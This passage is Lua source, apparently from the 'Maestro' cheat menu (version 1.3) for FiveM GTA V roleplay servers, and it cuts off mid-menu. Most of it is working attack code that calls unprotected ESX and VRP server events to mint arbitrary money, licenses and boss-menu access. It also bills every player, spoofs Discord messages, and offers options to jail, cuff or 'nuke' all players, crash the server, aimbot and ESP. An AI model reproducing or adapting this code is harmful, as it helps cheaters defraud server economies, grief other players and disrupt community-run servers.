- SetEntityCollision(noclipEntity, true, true)
- end
- end
- end
- )
- function GetPlayers()
- local players = {}
- for i = 0, 128 do
- if NetworkIsPlayerActive(i) then
- table.insert(players, i)
- end
- end
- return players
- end
- --[[Citizen.CreateThread(
- function()
- local blips = {}
- local currentPlayer = PlayerId()
- while true do
- Wait(100)
- local players = GetPlayers()
- for player = 0, 64 do
- if player ~= currentPlayer and NetworkIsPlayerActive(player) then
- local playerPed = GetPlayerPed(player)
- local playerName = GetPlayerName(player)
- RemoveBlip(blips[player])
- local new_blip = AddBlipForEntity(playerPed)
- ped = GetPlayerPed(id)
- blip = GetBlipFromEntity(ped)
- SetBlipSprite(new_blip, 1)
- -- Enable text on blip
- SetBlipCategory(new_blip, 2)
- -- Add player name to blip
- SetBlipNameToPlayerName(new_blip, player)
- --SetBlipNameToPlayerName( blip, id ) -- update blip name
- SetBlipRotation(blip, math.ceil(GetEntityHeading(veh))) -- update rotation
- -- Make blip white
- --SetBlipColour(new_blip, player )
- -- Set the blip to shrink when not on the minimap
- -- Citizen.InvokeNative(0x2B6D467DAB714E8D, new_blip, true)
- -- Shrink player blips slightly
- SetBlipScale(new_blip, 1.2)
- -- Add nametags above head
- Citizen.InvokeNative(0xBFEFE3321A3F5015, playerPed, playerName, false, false, "", false)
- -- Record blip so we don't keep recreating it
- blips[player] = new_blip
- end
- end
- end
- end
- )]]--
- function FirePlayer(SelectedPlayer)
- if ESX then
- ESX.TriggerServerCallback('esx_society:getOnlinePlayers', function(players)
- local playerMatch = nil
- for i=1, #players, 1 do
- label = players[i].name
- value = players[i].source
- name = players[i].name
- if name == GetPlayerName(SelectedPlayer) then
- playerMatch = players[i].identifier
- debugLog('found ' .. players[i].name .. ' ' .. players[i].identifier)
- end
- identifier = players[i].identifier
- end
- ESX.TriggerServerCallback('esx_society:setJob', function()
- end, playerMatch, 'unemployed', 0, 'hire')
- end)
- end
- end
- Citizen.CreateThread(
- function()
- FreezeEntityPosition(entity, false)
- local currentItemIndex = 1
- local selectedItemIndex = 1
- MaestroMenu.CreateMenu("MainMenu", "~w~Maestro โ")
- MaestroMenu.SetSubTitle("MainMenu", "~w~Maestro Version 1.3")
- MaestroMenu.CreateSubMenu("SelfMenu", "MainMenu", "Self Menu")
- MaestroMenu.CreateSubMenu("Xposed", "MainMenu", "Xposed")
- MaestroMenu.CreateSubMenu("Destroyer", "MainMenu", "Destroyer")
- MaestroMenu.CreateSubMenu("VehMenu", "MainMenu", "Vehicle Menu")
- MaestroMenu.CreateSubMenu("ServerMenu", "MainMenu", "LUA Execution")
- MaestroMenu.CreateSubMenu("TeleportMenu", "MainMenu", "Teleport Menu")
- MaestroMenu.CreateSubMenu('OnlinePlayerMenu', 'MainMenu', 'Online Player Menu')
- MaestroMenu.CreateSubMenu('PlayerOptionsMenu', 'OnlinePlayerMenu', 'Player Options')
- MaestroMenu.CreateSubMenu('SingleWepPlayer', 'OnlinePlayerMenu', 'Single Weapon Menu')
- MaestroMenu.CreateSubMenu("WepMenu", "MainMenu", "Weapon Menu")
- MaestroMenu.CreateSubMenu("SingleWepMenu", "WepMenu", "Single Weapon Menu")
- MaestroMenu.CreateSubMenu("ESXBoss", "ServerMenu", "ESX Boss Menus")
- MaestroMenu.CreateSubMenu("ESXMoney", "ServerMenu", "ESX Money Options")
- MaestroMenu.CreateSubMenu("VRPMoney", "Mainmenu", "VRP Money")
- MaestroMenu.CreateSubMenu("ESXMisc", "ServerMenu", "ESX Misc Options")
- MaestroMenu.CreateSubMenu("ESXDrugs", "ServerMenu", "ESX Drugs")
- MaestroMenu.CreateSubMenu("MiscServerOptions", "ServerMenu", "Misc Server Options")
- MaestroMenu.CreateSubMenu("RecrutarPlayers", "ServerMenu", "Recrutar Players")
- MaestroMenu.CreateSubMenu("RecrutarPlayersOptions", "RecrutarPlayers", "Recrutar Players options")
- MaestroMenu.CreateSubMenu('BoostMenu', 'VehMenu', 'Vehicle Boost ~b~>~s~')
- MaestroMenu.CreateSubMenu('PowerBoostMenu', 'BoostMenu', 'Power Boost ~b~>~s~')
- MaestroMenu.CreateSubMenu('TorqueBoostMenu', 'BoostMenu', 'Torque Boost ~b~>~s~')
- local SelectedPlayer
- while Enabled do
- if MaestroMenu.IsMenuOpened("MainMenu") then
- drawNotification("~w~Maestro by ~r~Cat ~w~and ~g~Flacko") --You are actually pathetic if you edit this menu. -Cat & Flacko
- drawNotification("~g~Official Discord: ~r~https://discord.gg/DAhzN6q")
- drawNotification("~r~Version ~b~1.~g~3")
- if MaestroMenu.MenuButton("~w~Player ~w~Menu ", "SelfMenu") then
- elseif MaestroMenu.MenuButton("~w~Online ~w~Players ", "OnlinePlayerMenu") then
- elseif MaestroMenu.MenuButton("~w~ESP ~w~Menu ", "Xposed") then
- elseif MaestroMenu.MenuButton("~w~Teleport ~w~Menu ", "TeleportMenu") then
- elseif MaestroMenu.MenuButton("~w~Vehicle ~w~Menu ", "VehMenu") then
- elseif MaestroMenu.MenuButton("~w~Weapon ~w~Menu ", "WepMenu") then
- elseif MaestroMenu.MenuButton("~r~Server ~r~Options ~w~โ ", "Destroyer") then
- elseif MaestroMenu.MenuButton("~w~Triggerevent menu ~w~ ", "ServerMenu") then
- elseif MaestroMenu.MenuButton("~w~VRP trigger ~w~ ", "VRPMoney") then
- elseif MaestroMenu.Button("~r~Close Menu") then
- Enabled = false
- elseif MaestroMenu.Button("~w~By ~r~cat ~w~and ~g~flacko" ) then
- Enabled = false
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("SelfMenu") then
- if
- MaestroMenu.CheckBox(
- "~g~God ~r~Mode",
- Godmode,
- function(enabled)
- Godmode = enabled
- end
- )
- then
- elseif MaestroMenu.CheckBox("~w~Infinite ~y~Stamina",InfStamina,function(enabled)InfStamina = enabled end) then
- elseif MaestroMenu.Button("~r~Suicide") then
- SetEntityHealth(PlayerPedId(), 0)
- elseif MaestroMenu.Button("~w~Revive ~g~ESX") then
- TriggerEvent("esx_ambulancejob:revive")
- elseif MaestroMenu.Button("~g~Heal") then
- SetEntityHealth(PlayerPedId(), 200)
- elseif MaestroMenu.Button("~b~Armour") then
- SetPedArmour(PlayerPedId(), 200)
- elseif MaestroMenu.Button("~w~Maestro swipe ~g~(500k+)") then
- TriggerServerEvent("esx_godirtyjob:pay", 500000)
- TriggerServerEvent("esx_pizza:pay", 500000)
- TriggerServerEvent("esx_slotmachine:sv:2", 500000)
- TriggerServerEvent("esx_banksecurity:pay", 500000)
- TriggerServerEvent('AdminMenu:giveDirtyMoney', 500000)
- TriggerServerEvent('AdminMenu:giveBank', 500000)
- TriggerServerEvent("AdminMenu:giveCash", 500000)
- TriggerServerEvent("esx_gopostaljob:pay", 500000)
- TriggerServerEvent("AdminMenu:giveBank", 500000)
- TriggerServerEvent("esx_truckerjob:pay", 500000)
- TriggerServerEvent("esx_carthief:pay", 500000)
- TriggerServerEvent("esx_garbagejob:pay", 500000)
- TriggerServerEvent("esx_ranger:pay", 500000)
- TriggerServerEvent("esx_truckersjob:payy", 500000)
- PlaySoundFrontend(-1, "ROBBERY_MONEY_TOTAL", "HUD_FRONTEND_CUSTOM_SOUNDSET", true)
- drawNotification("~g~Card succesfully swiped")
- elseif MaestroMenu.Button("~w~Taxi ~g~ESX Succes x10.000") then
- a=1 repeat TriggerServerEvent('esx_taxijob:success') a=a+1 until (a>10000)
- elseif MaestroMenu.Button("~w~Maestro ~b~VRP ~w~swipe ~g~(500k+)") then
- TriggerServerEvent("dropOff", 100000)
- TriggerServerEvent('PayForRepairNow',-100000)
- drawNotification("~g~Card succesfully swiped, VRP style")
- elseif MaestroMenu.Button("~w~Maestro ~b~VRP ~w~Salary ~g~(10x)") then
- a=1 repeat TriggerServerEvent('paycheck:salary') a=a+1 until (a>10)
- a=1 repeat TriggerServerEvent('paycheck:bonus') a=a+1 until (a>10)
- elseif MaestroMenu.Button("~w~Set hunger to ~g~100%") then
- TriggerEvent("esx_status:set", "hunger", 1000000)
- elseif MaestroMenu.Button("~w~Set thirst to ~g~100%") then
- TriggerEvent("esx_status:set", "thirst", 1000000)
- elseif MaestroMenu.Button("~w~Open Menu Jail ~g~ESX") then
- TriggerEvent("esx-qalle-jail:openJailMenu")
- elseif MaestroMenu.Button("~w~Unjail") then
- TriggerServerEvent('esx_jailer:unjailTime', -1)
- TriggerServerEvent('JailUpdate', 0)
- TriggerEvent('UnJP')
- elseif
- MaestroMenu.CheckBox(
- "~w~Super Jump",
- SuperJump,
- function(enabled)
- SuperJump = enabled
- end)
- then
- elseif
- MaestroMenu.CheckBox(
- "~w~Explosive Punch",
- ePunch,
- function(enabled)
- ePunch = enabled
- end)
- then
- elseif
- MaestroMenu.CheckBox("~w~Speed Demon",SpeedDemon,
- function(enabled)SpeedDemon = enabled end)
- then
- elseif
- MaestroMenu.CheckBox(
- "~w~Invisible",
- Invisible,
- function(enabled)
- Invisible = enabled
- end)
- then
- elseif
- MaestroMenu.CheckBox("~w~NoClip",Noclip,function(enabled)Noclip = enabled end)
- then
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("TeleportMenu") then
- if MaestroMenu.Button("~w~Teleport ~g~Waypoint") then
- TeleportToWaypoint()
- elseif MaestroMenu.Button("~w~Teleport ~g~Vehicle ~r~NW") then
- drawNotification("~y~No working wait next update fix")
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("Xposed") then
- if
- MaestroMenu.CheckBox(
- "~w~ESP",
- esp,
- function(enabled)
- esp = enabled
- end)
- then
- elseif
- MaestroMenu.CheckBox(
- "~w~Players Blips Map",
- playerBlips,
- function(enabled)
- playerBlips = enabled
- end)
- then
- elseif
- MaestroMenu.CheckBox(
- "Original crosshair",
- crosshair5,
- function(enabled)
- crosshair5 = enabled
- end)
- then
- elseif
- MaestroMenu.CheckBox(
- "~r~AimBot",
- AimBot,
- function(enabled)
- AimBot = enabled
- end)
- then
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("Destroyer") then
- if MaestroMenu.Button("~r~All Weapons ~y~Players") then
- for ids = 0, 128 do
- if ids ~= PlayerId() and GetPlayerServerId(ids) ~= 0 then
- for i = 1, #allWeapons do
- GiveWeaponToPed(PlayerPedId(ids), GetHashKey(allWeapons[i]), 1000, false, false)
- end
- end
- end
- elseif MaestroMenu.Button("~r~Remove All Weapons ~w~Players") then
- for ids = 0, 128 do
- if ids ~= PlayerId() and GetPlayerServerId(ids) ~= 0 then
- for i = 1, #allWeapons do
- RemoveAllPedWeapons(PlayerPedId(ids), true)
- end
- end
- end
- elseif MaestroMenu.Button('~r~Bottle ~w~All Players') then
- for i = 0, 128 do
- if IsPedInAnyVehicle(GetPlayerPed(i), true) then
- local eb = 'xs_prop_plastic_bottle_wl'
- local ec = GetHashKey(eb)
- while not HasModelLoaded(ec) do
- Citizen.Wait(0)
- RequestModel(ec)
- end
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(
- ed,
- GetVehiclePedIsIn(GetPlayerPed(i), false),
- GetEntityBoneIndexByName(GetVehiclePedIsIn(GetPlayerPed(i), false), 'chassis'),
- 0,
- 0,
- -1.0,
- 0.0,
- 0.0,
- 0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- else
- local eb = 'xs_prop_plastic_bottle_wl'
- local ec = GetHashKey(eb)
- while not HasModelLoaded(ec) do
- Citizen.Wait(0)
- RequestModel(ec)
- end
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(
- ed,
- GetPlayerPed(i),
- GetPedBoneIndex(GetPlayerPed(i), 0),
- 0,
- 0,
- -1.0,
- 0.0,
- 0.0,
- 0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- end
- end
- elseif MaestroMenu.Button('~r~Windmill ~w~All Players') then
- for i = 0, 128 do
- if IsPedInAnyVehicle(GetPlayerPed(i), true) then
- local eb = 'prop_windmill_01'
- local ec = GetHashKey(eb)
- while not HasModelLoaded(ec) do
- Citizen.Wait(0)
- RequestModel(ec)
- end
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(
- ed,
- GetVehiclePedIsIn(GetPlayerPed(i), false),
- GetEntityBoneIndexByName(GetVehiclePedIsIn(GetPlayerPed(i), false), 'chassis'),
- 0,
- 0,
- -1.0,
- 0.0,
- 0.0,
- 0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- else
- local eb = 'prop_windmill_01'
- local ec = GetHashKey(eb)
- while not HasModelLoaded(ec) do
- Citizen.Wait(0)
- RequestModel(ec)
- end
- local ed = CreateObject(ec, 0, 0, 0, true, true, true)
- AttachEntityToEntity(
- ed,
- GetPlayerPed(i),
- GetPedBoneIndex(GetPlayerPed(i), 0),
- 0,
- 0,
- -1.0,
- 0.0,
- 0.0,
- 0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- end
- end
- elseif
- MaestroMenu.CheckBox(
- "~r~Nuke ~w~All Players",
- nuke,
- function(enabled)
- nuke = enabled
- end)
- then
- elseif
- MaestroMenu.Button(
- "~r~Nuke ~w~Server ~w~economy ~g~ESX",
- esxdestroy,
- function(enabled)
- esxdestroy = enabled
- end)
- then
- elseif
- MaestroMenu.CheckBox(
- "~r~Jail ~w~All Players",
- banallusers,
- function(enabled)
- banallusers = enabled
- end)
- then
- elseif
- MaestroMenu.CheckBox(
- "~r~Cuff ~w~All Players",
- freezeall,
- function(enabled)
- freezeall = enabled
- end)
- then
- elseif
- MaestroMenu.CheckBox(
- "~r~Try To Crash ~w~Server",
- servercrasher,
- function(enabled)
- servercrasher = enabled
- end)
- then
- end
- -- weapon
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("WepMenu") then
- if MaestroMenu.MenuButton("~w~Specific Weapon", "SingleWepMenu") then
- elseif MaestroMenu.Button("~g~Give ~w~All Weapons") then
- for i = 1, #allWeapons do
- GiveWeaponToPed(PlayerPedId(), GetHashKey(allWeapons[i]), 1000, false, false)
- end
- elseif MaestroMenu.Button("~r~Remove ~w~All Weapons") then
- for i = 1, #allWeapons do
- RemoveAllPedWeapons(PlayerPedId(), true)
- end
- elseif MaestroMenu.Button("~w~Give Ammo") then
- for i = 1, #allWeapons do
- AddAmmoToPed(PlayerPedId(), GetHashKey(allWeapons[i]), 200)
- end
- elseif
- MaestroMenu.CheckBox(
- "~w~Infinite Ammo",
- InfAmmo,
- function(enabled)
- InfAmmo = enabled
- SetPedInfiniteAmmoClip(PlayerPedId(), InfAmmo)
- end
- )
- then
- elseif
- MaestroMenu.CheckBox("~w~Vehicle Gun",VehicleGun,
- function(enabled)VehicleGun = enabled end)
- then
- elseif
- MaestroMenu.CheckBox("~y~Delete Gun",DeleteGun,
- function(enabled)DeleteGun = enabled end)
- then
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("SingleWepMenu") then
- for i = 1, #allWeapons do
- if MaestroMenu.Button(allWeapons[i]) then
- GiveWeaponToPed(PlayerPedId(), GetHashKey(allWeapons[i]), 1000, false, false)
- end
- end
- -- boost menu
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("BoostMenu") then
- if MaestroMenu.MenuButton('Power Boost', 'PowerBoostMenu') then
- elseif MaestroMenu.MenuButton('Torque Boost', 'TorqueBoostMenu') then
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened('PowerBoostMenu') then
- if MaestroMenu.Button('Engine Power boost reset') then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1.0)
- elseif MaestroMenu.Button('Engine Power boost ~g~x2') then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2.0 * 20.0)
- elseif MaestroMenu.Button('Engine Power boost ~g~x4') then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4.0 * 20.0)
- elseif MaestroMenu.Button('Engine Power boost ~g~x8') then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8.0 * 20.0)
- elseif MaestroMenu.Button('Engine Power boost ~g~x16') then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16.0 * 20.0)
- elseif MaestroMenu.Button('Engine Power boost ~g~x32') then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 32.0 * 20.0)
- elseif MaestroMenu.Button('Engine Power boost ~g~x64') then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 64.0 * 20.0)
- elseif MaestroMenu.Button('Engine Power boost ~g~x128') then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 128.0 * 20.0)
- elseif MaestroMenu.Button('Engine Power boost ~g~x256') then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 256.0 * 20.0)
- elseif MaestroMenu.Button('Engine Power boost ~g~x512') then
- SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 512.0 * 20.0)
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened('TorqueBoostMenu') then
- if MaestroMenu.CheckBox('Engine Torque boost ~g~x2', Torque2, function(enabled)
- Torque2 = enabled
- end) then
- elseif MaestroMenu.CheckBox('Engine Torque boost ~g~x4', Torque4, function(enabled)
- Torque4 = enabled
- end) then
- elseif MaestroMenu.CheckBox('Engine Torque boost ~g~x8', Torque8, function(enabled)
- Torque8 = enabled
- end) then
- elseif MaestroMenu.CheckBox('Engine Torque boost ~g~x16', Torque16, function(enabled)
- Torque16 = enabled
- end) then
- elseif MaestroMenu.CheckBox('Engine Torque boost ~g~x32', Torque32, function(enabled)
- Torque32 = enabled
- end) then
- elseif MaestroMenu.CheckBox('Engine Torque boost ~g~x64', Torque64, function(enabled)
- Torque64 = enabled
- end) then
- elseif MaestroMenu.CheckBox('Engine Torque boost ~g~x128', Torque128, function(enabled)
- Torque128 = enabled
- end) then
- elseif MaestroMenu.CheckBox('Engine Torque boost ~g~x256', Torque256, function(enabled)
- Torque256 = enabled
- end) then
- elseif MaestroMenu.CheckBox('Engine Torque boost ~g~x512', Torque512, function(enabled)
- Torque512 = enabled
- end) then
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("VehMenu") then
- if MaestroMenu.Button("~g~Spawn Vehicle") then
- local ModelName = KeyboardInput("Enter Vehicle Spawn Name", "", 100)
- if ModelName and IsModelValid(ModelName) and IsModelAVehicle(ModelName) then
- RequestModel(ModelName)
- while not HasModelLoaded(ModelName) do
- Citizen.Wait(0)
- end
- local veh = CreateVehicle(GetHashKey(ModelName), GetEntityCoords(PlayerPedId()), GetEntityHeading(PlayerPedId()), true, true)
- SetPedIntoVehicle(PlayerPedId(), veh, -1)
- else
- drawNotification("~r~Model is not valid!")
- end
- elseif MaestroMenu.Button("~w~Repair Vehicle") then
- SetVehicleFixed(GetVehiclePedIsIn(GetPlayerPed(-1), false))
- SetVehicleDirtLevel(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0.0)
- SetVehicleLights(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
- SetVehicleBurnout(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
- Citizen.InvokeNative(0x1FD09E7390A74D54, GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
- elseif MaestroMenu.Button("~w~Max Tuning") then
- MaxOut(GetVehiclePedIsUsing(PlayerPedId())
- ) elseif MaestroMenu.Button("~w~Max mechanics ~r~only performance") then
- engine(GetVehiclePedIsUsing(PlayerPedId()))
- elseif MaestroMenu.Button("~w~Change car ~b~plate") then CaPl()
- elseif MaestroMenu.MenuButton('Vehicle ~r~Boost', 'BoostMenu') then
- elseif MaestroMenu.Button("~g~Buy vehicle free") then fv()
- elseif
- MaestroMenu.CheckBox(
- "~w~Rainbow Vehicle Colour",
- RainbowVeh,
- function(enabled)
- RainbowVeh = enabled
- end)
- then
- elseif MaestroMenu.Button("~r~Delete Vehicle") then
- DelVeh(GetVehiclePedIsUsing(PlayerPedId()))
- drawNotification("Vehicle Deleted")
- elseif MaestroMenu.Button("~w~Make vehicle dirty") then
- Clean(GetVehiclePedIsUsing(PlayerPedId()))
- drawNotification("Vehicle is now dirty")
- elseif MaestroMenu.Button("~w~Make vehicle clean") then
- Clean2(GetVehiclePedIsUsing(PlayerPedId()))
- drawNotification("Vehicle is now clean")
- elseif
- MaestroMenu.CheckBox(
- "~w~No Fall",
- Nofall,
- function(enabled)
- Nofall = enabled
- SetPedCanBeKnockedOffVehicle(PlayerPedId(), Nofall)
- end
- )
- then
- elseif
- MaestroMenu.CheckBox(
- "~w~Vehicle Godmode",
- VehGod,
- function(enabled)
- VehGod = enabled
- end
- )
- then
- end
- --triggerevent menu
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("ServerMenu") then
- if MaestroMenu.MenuButton("~w~Menu ~r~RECRUIT PLAYERS ~p~NW", "RecrutarPlayers") then
- elseif MaestroMenu.MenuButton("~w~Menu ~b~BOSS", "ESXBoss") then
- elseif MaestroMenu.MenuButton("~w~Menu ~g~MONEY", "ESXMoney") then
- elseif MaestroMenu.MenuButton("~w~Menu ~p~DRUGS", "ESXDrugs") then
- elseif MaestroMenu.MenuButton("~w~Menu ~o~OTHERS", "ESXMisc") then
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("ESXBoss") then
- if MaestroMenu.Button("~c~Mechanic~w~ Boss Menu") then
- TriggerEvent('esx_society:openBossMenu', 'mecano', function(data,menu) menu.close() end)
- setMenuVisible(currentMenu, false)
- elseif MaestroMenu.Button("~b~Police~w~ Boss Menu") then
- TriggerEvent('esx_society:openBossMenu', 'police', function(data,menu) menu.close() end)
- setMenuVisible(currentMenu, false)
- elseif MaestroMenu.Button("~r~Ambulance~w~ Boss Menu") then
- TriggerEvent('esx_society:openBossMenu', 'ambulance', function(data,menu) menu.close() end)
- setMenuVisible(currentMenu, false)
- elseif MaestroMenu.Button("~y~Taxi~w~ Boss Menu") then
- TriggerEvent('esx_society:openBossMenu', 'taxi', function(data,menu) menu.close() end)
- setMenuVisible(currentMenu, false)
- elseif MaestroMenu.Button("~g~Real Estate~w~ Boss Menu") then
- TriggerEvent('esx_society:openBossMenu', 'realestateagent', function(data,menu) menu.close() end)
- setMenuVisible(currentMenu, false)
- elseif MaestroMenu.Button("~p~Gang~w~ Boss Menu") then
- TriggerEvent('esx_society:openBossMenu', 'gang', function(data,menu) menu.close() end)
- setMenuVisible(currentMenu, false)
- elseif MaestroMenu.Button("~o~Car Dealer~w~ Boss Menu") then
- TriggerEvent('esx_society:openBossMenu', 'cardealer', function(data,menu) menu.close() end)
- setMenuVisible(currentMenu, false)
- elseif MaestroMenu.Button("~y~Banker~w~ Boss Menu") then
- TriggerEvent('esx_society:openBossMenu', 'banker', function(data,menu) menu.close() end)
- setMenuVisible(currentMenu, false)
- elseif MaestroMenu.Button("~c~Mafia~w~ Boss Menu") then
- TriggerEvent('esx_society:openBossMenu', 'mafia', function(data,menu) menu.close() end)
- setMenuVisible(currentMenu, false)
- elseif MaestroMenu.Button("~g~ESX ~y~Custom Boss Menu") then
- local result = KeyboardInput("Enter Boss Menu Script Name", "", 10)
- if result then
- TriggerEvent('esx_society:openBossMenu', result, function(data,menu) menu.close() end)
- setMenuVisible(currentMenu, false)
- end
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("ESXMoney") then
- if MaestroMenu.Button("~r~Automatic money ~w~โ") then
- local result = KeyboardInput("Can be multiplied, watch out", "", 100000000)
- if result then
- TriggerServerEvent('esx_truckerjob:pay', result)
- TriggerServerEvent('vrp_slotmachine:server:2', result)
- TriggerServerEvent("esx_pizza:pay", result)
- TriggerServerEvent('esx_jobs:caution', 'give_back', result)
- TriggerServerEvent('lscustoms:payGarage', result)
- TriggerServerEvent('esx_tankerjob:pay', result)
- TriggerServerEvent('esx_vehicletrunk:giveDirty', result)
- TriggerServerEvent('f0ba1292-b68d-4d95-8823-6230cdf282b6', result)
- TriggerServerEvent('gambling:spend', result)
- TriggerServerEvent('265df2d8-421b-4727-b01d-b92fd6503f5e', result)
- TriggerServerEvent('AdminMenu:giveDirtyMoney', result)
- TriggerServerEvent('AdminMenu:giveBank', result)
- TriggerServerEvent('AdminMenu:giveCash', result)
- TriggerServerEvent('esx_slotmachine:sv:2', result)
- TriggerServerEvent('esx_truckerjob:pay', result)
- TriggerServerEvent('esx_moneywash:deposit', result)
- TriggerServerEvent('esx_moneywash:withdraw', result)
- TriggerServerEvent('esx_moneywash:deposit', result)
- TriggerServerEvent('mission:completed', result)
- TriggerServerEvent('99kr-burglary:addMoney', result)
- drawNotification("Testing all ~g~ESX scripts ~w~look in inventory")
- end
- elseif MaestroMenu.Button("~g~Money ~w~1") then
- local result = KeyboardInput("Enter amount of money", "", 100000000)
- if result then
- TriggerServerEvent("esx_jobs:caution", "give_back", result)
- end
- elseif MaestroMenu.Button("~g~Money ~w~2") then
- local result = KeyboardInput("Enter amount of money", "", 100000000)
- if result then
- TriggerServerEvent('esx_truckerjob:pay', result)
- end
- elseif MaestroMenu.Button("~g~Money ~w~3") then
- local result = KeyboardInput("Enter amount of money", "", 100000000)
- if result then
- TriggerServerEvent('AdminMenu:giveBank', result)
- end
- elseif MaestroMenu.Button("~g~Money ~w~4") then
- local result = KeyboardInput("Enter amount of money", "", 100000000)
- if result then
- TriggerServerEvent('AdminMenu:giveCash', result)
- end
- elseif MaestroMenu.Button("~g~Money ~w~5") then
- local result = KeyboardInput("Enter amount of money", "", 100000000)
- if result then
- TriggerServerEvent("esx_gopostaljob:pay", result)
- end
- elseif MaestroMenu.Button("~g~Money ~w~6") then
- local result = KeyboardInput("Enter amount of money", "", 100000000)
- if result then
- TriggerServerEvent("esx_banksecurity:pay", result)
- end
- elseif MaestroMenu.Button("~g~Money ~w~7") then
- local result = KeyboardInput("Enter amount of money", "", 100000000)
- if result then
- TriggerServerEvent("esx_slotmachine:sv:2", result)
- end
- elseif MaestroMenu.Button("~g~Money ~w~8") then
- local result = KeyboardInput("Enter amount of money", "", 100)
- if result then
- TriggerServerEvent("lscustoms:payGarage", {costs = -result})
- end
- elseif MaestroMenu.Button("~g~Money ~w~9") then
- local result = KeyboardInput("Enter amount of money", "", 100)
- if result then
- TriggerServerEvent("vrp_slotmachine:server:2", result)
- end
- elseif MaestroMenu.Button("~g~Money ~w~10") then
- local result = KeyboardInput("Enter amount of money", "", 100000000)
- if result then
- TriggerServerEvent('AdminMenu:giveDirtyMoney', result)
- end
- elseif MaestroMenu.Button("~g~Money ~w~11") then
- local result = KeyboardInput("Enter amount of money", "", 100000000)
- if result then
- TriggerServerEvent('esx_truckerjob:pay', result)
- end
- elseif MaestroMenu.Button("~g~Money ~w~12") then
- local result = KeyboardInput("Enter amount of money", "", 100000000)
- if result then
- TriggerServerEvent('delivery:success', result)
- end
- elseif MaestroMenu.Button("~g~Money ~w~13") then
- local result = KeyboardInput("Enter amount of money", "", 100000000)
- if result then
- TriggerServerEvent ('taxi:success', result)
- end
- elseif MaestroMenu.Button("~g~Money ~w~14") then
- TriggerServerEvent('esx_pilot:success')
- TriggerServerEvent('esx_taxijob:success')
- elseif MaestroMenu.Button("~g~Money ~w~15") then
- local result = KeyboardInput("Enter amount of money", "", 100000000)
- if result then
- TriggerServerEvent("esx_garbagejob:pay", result)
- end
- elseif MaestroMenu.Button("~w~Bank ~r~Deposit") then
- local result = KeyboardInput("Enter amount of money", "", 100)
- if result then
- TriggerServerEvent("bank:deposit", result)
- end
- elseif MaestroMenu.Button("~w~Bank ~r~Withdraw ") then
- local result = KeyboardInput("Enter amount of money", "", 100)
- if result then
- TriggerServerEvent("bank:withdraw", result)
- end
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("ESXMisc") then
- if MaestroMenu.Button("~g~ESX ~r~SEND EVERYONE A BILL") then
- local amount = KeyboardInput("Enter Amount", "", 100000000)
- local name = KeyboardInput("Enter the name of the Bill", "", 100000000)
- if amount and name then
- for i = 0, 128 do
- TriggerServerEvent('esx_billing:sendBill', GetPlayerServerId(i), "Purposeless", name, amount)
- end
- end
- elseif MaestroMenu.Button("~g~ESX ~w~Get all licenses ") then
- TriggerServerEvent("dmv:success")
- TriggerServerEvent('esx_weashopjob:addLicense', 'tazer')
- TriggerServerEvent('esx_weashopjob:addLicense', 'ppa')
- TriggerServerEvent('esx_weashopjob:addLicense', 'ppa2')
- TriggerServerEvent('esx_weashopjob:addLicense', 'drive_bike')
- TriggerServerEvent('esx_weashopjob:addLicense', 'drive_truck')
- TriggerServerEvent('esx_dmvschool:addLicense', 'dmv')
- TriggerServerEvent('esx_dmvschool:addLicense', 'drive')
- TriggerServerEvent('esx_dmvschool:addLicense', 'drive_bike')
- TriggerServerEvent('esx_dmvschool:addLicense', 'drive_truck')
- TriggerServerEvent('esx_airlines:addLicense', 'helico')
- TriggerServerEvent('esx_airlines:addLicense', 'avion')
- elseif MaestroMenu.Button("~w~Send Discord Message") then
- local Message = KeyboardInput("Enter message to send", "", 100)
- TriggerServerEvent("DiscordBot:playerDied", Message, "1337")
- drawNotification("The message:~n~" .. Message .. "~n~Has been ~g~sent!")
- elseif MaestroMenu.Button("~w~Send Police Car Advert") then
- TriggerServerEvent("esx:enterpolicecar",GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsIn(GetPlayerPed(-1), 0))))
- end
- MaestroMenu.Display()
- elseif MaestroMenu.IsMenuOpened("MiscServerOptions") then
- if MaestroMenu.Button("~w~Send Discord Message") then
